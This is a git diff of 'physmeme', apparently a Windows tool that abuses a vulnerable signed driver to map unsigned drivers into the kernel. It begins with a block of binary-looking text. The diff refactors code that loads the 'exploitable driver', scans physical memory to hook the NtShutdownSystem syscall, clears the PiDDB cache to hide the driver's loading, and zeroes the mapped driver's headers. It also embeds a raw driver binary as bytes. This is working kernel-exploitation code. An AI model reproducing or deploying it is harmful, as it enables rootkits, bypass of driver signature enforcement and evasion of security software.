zu&u${u&<%Dp{=1^#+Nl}8+DCIjY?xmV`^hYqrNex(bzbv(bQPd=xnTLtZb}qT-Ugv zv9__fv88caqqlKiV{2nuV|$~ov7_-sBipFmsN0ydk+q=xLpoTku2!kdsdd&?)>hZH z)V9^Ky41RiI(?m~&RJJkm%1@yqkdz~M&rg=8%-NaHaa&}Y;5^c%cB{aXKk+7ykYaU z%_lbNwj^y)wxn!H-J;);v!(U1w#V8Z>v-(MW6I+xkEcGK@%V)Ptt>wI+`btmdry|!Lg zpHzRk{42VZyRZJlMr~74Q%X}tQ%=*Yrjn+Lrs}2*P0dZ)n)WrdHTjxOG-)>_ZA#gc Zu_*^-fi-I}WBL90T>`&L;QuEH{6Fp~vpWC) diff --git a/physmeme-lib/map_driver.cpp b/physmeme-lib/map_driver.cpp index a14066e..a9eb895 100644 --- a/physmeme-lib/map_driver.cpp +++ b/physmeme-lib/map_driver.cpp @@ -1,13 +1,9 @@ -#include -#include -#include - #include "kernel_ctx/kernel_ctx.h" #include "drv_image/drv_image.h" namespace physmeme { - bool __cdecl map_driver(std::vector& raw_driver) + NTSTATUS __cdecl map_driver(std::vector& raw_driver) { physmeme::drv_image image(raw_driver); @@ -15,22 +11,16 @@ namespace physmeme // load exploitable driver // if (!physmeme::load_drv()) - return false; + return STATUS_ABANDONED; physmeme::kernel_ctx ctx; // - // unload exploitable driver - // - if (!physmeme::unload_drv()) - return false; - - // - // shoot the tires off the cache. + // shoot the tires off piddb cache. // const auto drv_timestamp = util::get_file_header(raw_driver.data())->TimeDateStamp; if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp)) - return false; + return STATUS_ABANDONED; // // lambdas used for fixing driver image @@ -60,9 +50,6 @@ namespace physmeme NonPagedPool ); - if (!pool_base) - return -1; - image.relocate(pool_base); // @@ -88,12 +75,17 @@ namespace physmeme // zero driver headers // ctx.zero_kernel_memory(pool_base, image.header_size()); - return !result; // 0x0 means STATUS_SUCCESS + + physmeme::unmap_all(); + if (!physmeme::unload_drv()) + return STATUS_ABANDONED; + + return result; } - bool __cdecl map_driver(std::uint8_t * image, std::size_t size) + NTSTATUS __cdecl map_driver(std::uint8_t * image, std::size_t size) { - auto data = std::vector(image, image + size); + std::vector data(image, image + size); return map_driver(data); } } \ No newline at end of file diff --git a/physmeme-lib/map_driver.hpp b/physmeme-lib/map_driver.hpp index 673163c..bcbfb94 100644 --- a/physmeme-lib/map_driver.hpp +++ b/physmeme-lib/map_driver.hpp @@ -1,8 +1,9 @@ #pragma once #include +#include namespace physmeme { - bool __cdecl map_driver(std::vector& raw_driver); - bool __cdecl map_driver(std::uint8_t * image, std::size_t size); + NTSTATUS __cdecl map_driver(std::vector& raw_driver); + NTSTATUS __cdecl map_driver(std::uint8_t * image, std::size_t size); } \ No newline at end of file diff --git a/physmeme-lib/raw_driver.hpp b/physmeme-lib/raw_driver.hpp index 6402c6b..f9ceb96 100644 --- a/physmeme-lib/raw_driver.hpp +++ b/physmeme-lib/raw_driver.hpp @@ -1,7 +1,8 @@ #pragma once #include -inline constexpr std::uint8_t raw_driver[] = { +inline constexpr std::uint8_t raw_driver[] = +{ 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, diff --git a/physmeme/kernel_ctx/kernel_ctx.cpp b/physmeme/kernel_ctx/kernel_ctx.cpp index 7c215ae..af193b3 100644 --- a/physmeme/kernel_ctx/kernel_ctx.cpp +++ b/physmeme/kernel_ctx/kernel_ctx.cpp @@ -10,22 +10,17 @@ namespace physmeme nt_rva = reinterpret_cast( util::get_kernel_export( "ntoskrnl.exe", - syscall_hook.first.data(), + syscall_hook.first, true )); nt_page_offset = nt_rva % page_size; ntoskrnl_buffer = reinterpret_cast( - LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES) - ); - - printf("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset); - printf("[+] ntoskrnl_buffer: 0x%p\n", ntoskrnl_buffer); - printf("[+] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva); - - std::vector search_threads; + LoadLibraryEx("ntoskrnl.exe", NULL, + DONT_RESOLVE_DLL_REFERENCES)); //--- for each physical memory range, make a thread to search it + std::vector search_threads; for (auto ranges : util::pmem_ranges) search_threads.emplace_back(std::thread( &kernel_ctx::map_syscall, @@ -36,14 +31,10 @@ namespace physmeme for (std::thread& search_thread : search_threads) search_thread.join(); - - printf("[+] psyscall_func: 0x%p\n", psyscall_func.load()); } void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const { - printf("[+] scanning from begin: 0x%p to: 0x%p\n", begin, begin + end); - //if the physical memory range is less then or equal to 2mb if (begin + end <= 0x1000 * 512) { diff --git a/physmeme/kernel_ctx/kernel_ctx.h b/physmeme/kernel_ctx/kernel_ctx.h index 8e231eb..791160e 100644 --- a/physmeme/kernel_ctx/kernel_ctx.h +++ b/physmeme/kernel_ctx/kernel_ctx.h @@ -13,35 +13,19 @@ namespace physmeme { // - // offset of function into a physical page - // used for comparing bytes when searching - // - inline std::uint16_t nt_page_offset{}; - - // - // rva of nt function we are going to hook - // - inline std::uint32_t nt_rva{}; - - // - // base address of ntoskrnl (inside of this process) + // you can edit this how you choose, im hooking NtShutdownSystem. // - inline const std::uint8_t* ntoskrnl_buffer{}; + constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; // - // has the page been found yet? + // has the page (containing the syscall) been found yet? // inline std::atomic is_page_found = false; // // mapping of a syscalls physical memory (for installing hooks) // - inline std::atomic psyscall_func{}; - - // - // you can edit this how you choose, im hooking NtShutdownSystem. - // - inline const std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; + inline std::atomic psyscall_func; class kernel_ctx { @@ -105,7 +89,7 @@ namespace physmeme static const auto proc = GetProcAddress( GetModuleHandleA("ntdll.dll"), - syscall_hook.first.data() + syscall_hook.first ); hook::make_hook(psyscall_func, addr); @@ -114,6 +98,22 @@ namespace physmeme return result; } private: + // + // offset of function into a physical page + // used for comparing bytes when searching + // + std::uint16_t nt_page_offset; + + // + // rva of nt function we are going to hook + // + std::uint32_t nt_rva; + + // + // base address of ntoskrnl (inside of this process) + // + std::uint8_t* ntoskrnl_buffer; + // // find and map the physical page of a syscall into this process // diff --git a/physmeme/main.cpp b/physmeme/main.cpp index df2b102..5ea8324 100644 --- a/physmeme/main.cpp +++ b/physmeme/main.cpp @@ -20,18 +20,14 @@ int __cdecl main(int argc, char** argv) } physmeme::drv_image image(drv_buffer); - physmeme::load_drv(); - physmeme::kernel_ctx ctx; - // - // unload exploitable driver - // - if (!physmeme::unload_drv()) + if (!physmeme::load_drv()) { - perror("[!] unable to unload driver... all handles closed?\n"); + perror("[!] unable to load driver....\n"); return -1; } - printf("[+] unloaded exploitable driver....\n"); + + physmeme::kernel_ctx ctx; // // shoot the tires off piddb cache entry. @@ -108,6 +104,18 @@ int __cdecl main(int argc, char** argv) // zero driver headers // ctx.zero_kernel_memory(pool_base, image.header_size()); + + // + // unload exploitable driver + // + physmeme::unmap_all(); // just in case there are any left over physical pages mapped... + if (!physmeme::unload_drv()) + { + perror("[!] unable to unload driver... all handles closed?\n"); + return -1; + } + + printf("[+] unloaded exploitable driver....\n"); printf("[=] press enter to close\n"); std::cin.get(); } \ No newline at end of file diff --git a/physmeme/physmeme/physmeme.hpp b/physmeme/physmeme/physmeme.hpp index d4b2732..3dae9ba 100644 --- a/physmeme/physmeme/physmeme.hpp +++ b/physmeme/physmeme/physmeme.hpp @@ -71,7 +71,7 @@ namespace physmeme ) { //--- ensure the validity of the address we are going to try and map - if (!util::is_valid(addr)) + if (!util::is_phys_addr_valid(addr)) return NULL; GIOMAP in_buffer = { 0, 0, addr, 0, size }; diff --git a/physmeme/raw_driver.hpp b/physmeme/raw_driver.hpp index 6402c6b..f9ceb96 100644 --- a/physmeme/raw_driver.hpp +++ b/physmeme/raw_driver.hpp @@ -1,7 +1,8 @@ #pragma once #include -inline constexpr std::uint8_t raw_driver[] = { +inline constexpr std::uint8_t raw_driver[] = +{ 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, diff --git a/physmeme/util/hook.hpp b/physmeme/util/hook.hpp index 1004d9f..337025e 100644 --- a/physmeme/util/hook.hpp +++ b/physmeme/util/hook.hpp @@ -124,19 +124,9 @@ namespace hook std::uint8_t org_bytes[sizeof(jmp_code)]; }; - static std::map> hooks{}; - - /* - Author: xerox - Date: 12/19/2019 - - Create Hook without needing to deal with objects - */ - static void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true) + inline std::map> hooks{}; + inline void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true) { - if (!addr_to_hook) - return; - hooks.insert({ addr_to_hook, std::make_unique( @@ -147,43 +137,18 @@ namespace hook ); } - /* - Author: xerox - Date: 12/19/2019 - - Enable hook given the address to hook - */ - static void enable(void* addr) + inline void enable(void* addr) { - if (!addr) - return; hooks.at(addr)->install(); } - /* - Author: xerox - Date: 12/19/2019 - - Disable hook givent the address of the hook - */ - static void disable(void* addr) + inline void disable(void* addr) { - if (!addr) - return; hooks.at(addr)->uninstall(); } - - /* - Author: xerox - Date: 12/19/2019 - - Remove hook completely from vector - */ - static void remove(void* addr) + inline void remove(void* addr) { - if (!addr) - return; hooks.at(addr)->~detour(); hooks.erase(addr); } diff --git a/physmeme/util/util.hpp b/physmeme/util/util.hpp index de3dbc1..c08f41c 100644 --- a/physmeme/util/util.hpp +++ b/physmeme/util/util.hpp @@ -21,7 +21,7 @@ namespace util static std::map pmem_ranges{}; //--- validates the address - static bool is_valid(std::uintptr_t addr) + inline bool is_phys_addr_valid(std::uintptr_t addr) { for (auto range : pmem_ranges) if (addr >= range.first && addr <= range.first + range.second) @@ -82,8 +82,6 @@ namespace util data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); } - // get base address of kernel module - // // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 static std::uintptr_t get_module_base(const char* module_name) { @@ -121,8 +119,6 @@ namespace util return NULL; } - // get base address of kernel module - // // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 static void* get_kernel_export(const char* module_name, const char* export_name, bool rva = false) {